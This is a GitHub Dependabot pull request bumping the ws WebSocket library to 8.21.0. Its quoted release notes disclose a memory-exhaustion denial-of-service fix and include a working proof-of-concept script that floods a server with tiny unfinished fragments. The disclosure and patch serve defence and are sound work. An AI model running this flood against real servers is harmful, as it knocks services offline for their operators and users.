Skip to content

chore(deps): bump ws from 8.20.1 to 8.21.0#788

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.21.0
Open

chore(deps): bump ws from 8.20.1 to 8.21.0#788
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.21.0

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github May 26, 2026

Copy link
Copy Markdown
Contributor

Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 26, 2026
@changeset-bot

changeset-bot Bot commented May 26, 2026

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 093d485

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.21.0 branch 2 times, most recently from b4a1321 to f2d0c02 Compare June 11, 2026 11:05
Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.21.0 branch from f2d0c02 to 093d485 Compare June 14, 2026 03:20
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants